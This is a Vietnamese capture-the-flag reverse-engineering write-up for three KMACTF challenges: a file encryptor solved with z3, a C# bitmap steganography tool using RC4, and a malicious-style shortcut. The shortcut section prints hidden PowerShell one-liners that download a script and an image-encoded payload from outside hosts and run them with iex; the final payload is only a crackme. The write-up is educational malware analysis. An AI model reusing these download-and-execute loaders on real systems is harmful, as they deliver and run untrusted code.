h4

Đây là một chương trình mã hóa file. Load vào IDA để phân tích.

h5

Hàm main() chương trình gồm 3 hàm:

  • f_open_file() sẽ thực hiện mở, đọc file và lưu data vào memory, địa chỉ của memory này sẽ lưu vào biến argc
  • f_encrypt_file() mã hóa data
  • f_save_encrypted_file() lưu encrypted data vào file với đường dẫn là file gốc + “.encrypt” extension.

h6

Tôi tiến hành phân tích sâu vào f_encrypt_file(). Tôi thấy mỗi lần mã hóa 8 bytes. Cuối cùng data mã hóa đó sẽ được lưu lại vào biến data bằng hàm memmove().

Từ đây tôi sẽ viết script để decrypt lại file bằng z3 python.

from z3 import *

with open("flag.jpg.encrypt", "rb") as f:
	enc = f.read()

data = [0 for i in range(len(enc))]

for i_len_enc in range(0, len(enc) - 1, 8):

	inp = [BitVec("%d" % i, 8) for i in range(8)]
	s = Solver()
	rs = 0

	for i in range(0, 8):
		rs = 0
		for j in range(0, 8):
			rs += ((inp[j] >> i) & 1) << j
		rs = 0xFF - (rs & 0xFF) + 1

		s.add(rs == enc[i_len_enc + i])

	if s.check() == sat:
		flag = []
		m = s.model()
		md = sorted([(d, m[d]) for d in m], key = lambda x: str(x[0]))
		for i in md:
			flag.append(i[1].as_long())
		for i in range(0, 8):
			data[i_len_enc + i] = flag[i]

with open("flag.jpg", "wb") as f:
	f.write(bytearray(data))

print("Done!")

Flag là: KMA{Encryp7_w17H0u7_x0r}

Amazing Good Mood

h7

Theo như dạng đề này, tôi mạnh dạng đoán là flag đã được giấu vào các pixel của ảnh :))

h8

Load file vào CFF Explore thì tôi nhận ra file được viết bằng C#.

Load file vào dnSpy để phân tích.

h9

Tại hàm main(), ta thấy chương trình yêu cầu 3 tham số: Đường dẫn file bitmap gốc, đường dẫn file chứa secret cần giấu vào ảnh, đường dẫn file bitmap sẽ được lưu.

Ta chú ý tại dòng 172 và 173, sẽ dùng để lấy các bytes secret và kiểm tra chiều dài secret phải bằng 24.

h10

Hàm Program.h() sẽ làm nhiệm vụ mã hóa secret, tôi nhận ra đây là mã hóa RC4.

Key sẽ được decode base64 của biến Program.yy.

Đặc biệt chú ý, nhấn chuột phải -> Analyze, ta sẽ thấy biến này còn được sử dụng tại hàm Program.Init().

h11

Hàm này được gọi ở đầu hàm main(), nó thực hiện kiểm tra debug bằng hàm IsDebuggerPresent(). Nếu đúng thì sẽ ghép thêm chuỗi QDIwMjI= vào biến Program.yy, ngược lại thì ghép thêm chuỗi QDEyMzQ=.

Từ đây ta có thể decode base64 chuỗi S01BQ1RGQDEyMzQ= sẽ được key là KMACTF@1234.

h12

Sau khi mã hóa secret. Hàm Program.j() sẽ được gọi để giấu encrypted secret theo quy tắc như sau:

  • red: sẽ giữ 3 bit tính từ bit thấp nhất
  • green: sẽ giữ 3 bit tiếp theo
  • blue: sẽ giữ 3 bit còn lại

Từ những gì tôi phân tích, tôi sẽ viết một đoạn C# để dump các pixel từ file encrypted.bmp sau đó phục hồi lại encrypted secret. Cuối cùng sẽ decrypt bằng RC4.

static void Main(string[] args)
{
      Bitmap image1 = new Bitmap("C:\\Users\\ChiThanh\\Desktop\\kmactf\\re\\encrypted.bmp");
      int x, y;
      int z = 0;

      for (x = 0; x < image1.Width; x++)
      {
             for (y = 0; y < image1.Height; y++)
             {   
                   if (z >= 24) {
                         System.Environment.Exit(0);
                   }
                   z += 1;
                   Color pixelColor = image1.GetPixel(x, y);
                   int result = (pixelColor.R << 6) + (pixelColor.G << 3) + pixelColor.B;
                   Console.Write(result.ToString("X2"));
             }
      }
}

Flag là KMA{d0nT_tRu$t_m3_hihi!}

ps

h13

Nhìn vào file ps thì tôi xác định đây là một shortcut. Thường một số malware cũng hay sử dụng cách này để download payload về. Vì vậy tôi sẽ vào Property để kiểm tra target của nó.

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -c "(New-Object Net.WebClient).DownloadString('https://drive.google.com/u/0/uc?id=1rzjAbtVnylBuOL4hSdp60fGZ24Od7DCV&export=download') | iex"

Chúng ta thấy shortcut này dùng script của Powershell để download file về thực thi. Tôi sẽ download file về để phân tích.

sal a New-Object;
Add-Type -A System.Drawing;
$g = a System.Drawing.Bitmap((a Net.WebClient).OpenRead("https://i.ibb.co/FmsX0Bx/payload.png"));
$o = a Byte[] 2221;
(0..0) | % {
   foreach ($x in (0..2220)) {
     $p = $g.GetPixel($x, $_);
     $o[$_ * 2221 + $x] = ([math]::Floor(($p.B -band 15) *  16) -bor ($p.G -band 15))
   }
};
IEX([System.Text.Encoding]::ASCII.GetString($o[0..1417]))

File download về cũng là một Powershell script, script này thực hiện việc download payload về, sau đó giải mã payload đó. Cuối cùng sẽ thực thi payload đó.

Để có thể tiếp tục phân tích, tôi đã sửa lại script như bên dưới, sau đó upload lên drive, sửa lại link trong target của shortcut và thực thi lại ps shortcut.

sal a New-Object;
Add-Type -A System.Drawing;
$g = a System.Drawing.Bitmap((a Net.WebClient).OpenRead("https://i.ibb.co/FmsX0Bx/payload.png"));
$o = a Byte[] 2221;
(0..0) | % {
   foreach ($x in (0..2220)) {
     $p = $g.GetPixel($x, $_);
     $o[$_ * 2221 + $x] = ([math]::Floor(($p.B -band 15) *  16) -bor ($p.G -band 15))
   }
};
[System.Text.Encoding]::ASCII.GetString($o[0..1417]) | Out-File -FilePath .\Payload.txt

Sau khi thực thi, ta có được file Payload.txt.

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("JFI9eyRELCRLPSRBcmdzOyRTPTAuLjI1NTswLi4yNTV8JXskSj0oJEorJFNbJF9dKyRLWyRfJSRLLkxlbmd0aF0pJTI1NjskU1skX10sJFNbJEpdPSRTWyRKXSwkU1skX119OyREfCV7JEk9KCRJKzEpJTI1NjskSD0oJEgrJFNbJEldKSUyNTY7JFNbJEldLCRTWyRIXT0kU1skSF0sJFNbJEldOyRfLWJ4b3IkU1soJFNbJEldKyRTWyRIXSklMjU2XX19O1t2b2lkXVtSZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZFdpdGhQYXJ0aWFsTmFtZSgiTWljcm9zb2Z0LlZpc3VhbEJhc2ljIik7JEluID0gKFtzeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjgpLkdldEJ5dGVzKFtNaWNyb3NvZnQuVmlzdWFsQmFzaWMuSW50ZXJhY3Rpb25dOjpJbnB1dEJveCggIkVudGVyIGZsYWc6IiwiU2ltcGxlIENyYWNrbWUiKSk7W2J5dGVbXV0gJEsgPSAxMTksNzIsMTIxLDk1LDg5LDQ4LDExNyw5NSw5OCw4NSw0OSw0OSw4OSw5NSwxMDksNTE7W2J5dGVbXV0gJEQgPSA0OSw2Nyw1Nyw0OSw2NSw0OSw1Niw2Niw2Nyw2OCw0OCw1NSw1Niw1Miw3MCw1Myw1NCw1NSw1Niw2NSw1MCw1Nyw2OCw1NSw1MSw1NCw1Miw1MCw3MCw1Nyw2Niw1NSw2OCw2Nyw1Nyw1Nyw3MCw1NCw2NSw1MSw1Miw1NCw2Niw1Miw2OSw2OCw1MSw2Niw1MCw0OCw0OCw1Nyw2OCw2NSw1MSw2OCw1NSw1NSw2Nyw0OSw1NSw1MCw1NCw2Nyw1Niw2NTskViA9ICgmICRSICRJbiAkS3wgRm9yRWFjaC1PYmplY3QgeyAiezA6WDJ9IiAtZiAkXyB9KSAtam9pbiAnJztpZihbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRTdHJpbmcoJEQpIC1lcSAkVil7W01pY3Jvc29mdC5WaXN1YWxCYXNpYy5JbnRlcmFjdGlvbl06Ok1zZ0JveCgiQ29ycmVjdCEiLCAiT2tPbmx5LFN5c3RlbU1vZGFsLEluZm9ybWF0aW9uIiwgIlN1Y2Nlc3MiKX1lbHNle1tNaWNyb3NvZnQuVmlzdWFsQmFzaWMuSW50ZXJhY3Rpb25dOjpNc2dCb3goIkluY29ycmVjdCEiLCAiT2tPbmx5LFN5c3RlbU1vZGFsLEV4Y2xhbWF0aW9uIiwgIkVycm9yIil9")) | iex

Decode base64, ta được đoạn script như bên dưới:

$R={       # RC4 function
	$D, $K = $Args;
	$S = 0..255;
	0..255 | %   # KSA
	{
		$J = ($J + $S[$_] + $K[$_ % $K.Length]) % 256;
		$S[$_], $S[$J] = $S[$J], $S[$_]           # swap
	};
	$D | %     # PRGA
	{ 
		$I = ($I + 1) % 256;
		$H = ($H + $S[$I]) % 256;
		$S[$I], $S[$H] = $S[$H], $S[$I];
		$_ -bxor $S[($S[$I] + $S[$H]) % 256]
	}
};

[void][Reflection.Assembly]::LoadWithPartialName("Microsoft.VisualBasic");

$In = ([system.Text.Encoding]::UTF8).GetBytes([Microsoft.VisualBasic.Interaction]::InputBox( "Enter flag:","Simple Crackme"));

[byte[]] $K = 119,72,121,95,89,48,117,95,98,85,49,49,89,95,109,51;
[byte[]] $D = 49,67,57,49,65,49,56,66,67,68,48,55,56,52,70,53,54,55,56,65,50,57,68,55,51,54,52,50,70,57,66,55,68,67,57,57,70,54,65,51,52,54,66,52,69,68,51,66,50,48,48,57,68,65,51,68,55,55,67,49,55,50,54,67,56,65;

$V = (& $R $In $K| ForEach-Object { "{0:X2}" -f $_ }) -join '';

if([System.Text.Encoding]::ASCII.GetString($D) -eq $V){
	[Microsoft.VisualBasic.Interaction]::MsgBox("Correct!", "OkOnly,SystemModal,Information", "Success")
}
else{
	[Microsoft.VisualBasic.Interaction]::MsgBox("Incorrect!", "OkOnly,SystemModal,Exclamation", "Error")
}

Cách hoạt động của script sẽ như sau:

  • Biến $In sẽ chứa chuỗi flag nhập vào
  • InputBox( "Enter flag:","Simple Crackme")); sẽ mở một box để người dùng nhập flag
  • Biến $K sẽ là mảng key để mã hóa flag
  • Biến $D sẽ là mảng flag đã bị mã hóa
  • $V = (& $R $In $K| ForEach-Object { "{0:X2}" -f $_ }) -join ''; thực hiện việc gọi hàm $R với tham số là $In$K. Kết quả trả về của hàm sẽ được chuyển sang chuỗi các kí tự hexa và lưu vào biến $V
  • [System.Text.Encoding]::ASCII.GetString($D) -eq $V dùng để so sánh biến $D$V
  • Hàm $R là hàm mã hóa RC4, với $D là flag và $K là key

Tới đây, tôi có thể decrypt RC4 với key=7748795f5930755f62553131595f6d33, enc=1C91A18BCD0784F5678A29D73642F9B7DC99F6A346B4ED3B2009DA3D77C1726C8A.

Flag là: KMA{----->fiL3L355_mALwar3<-----}

You might also enjoy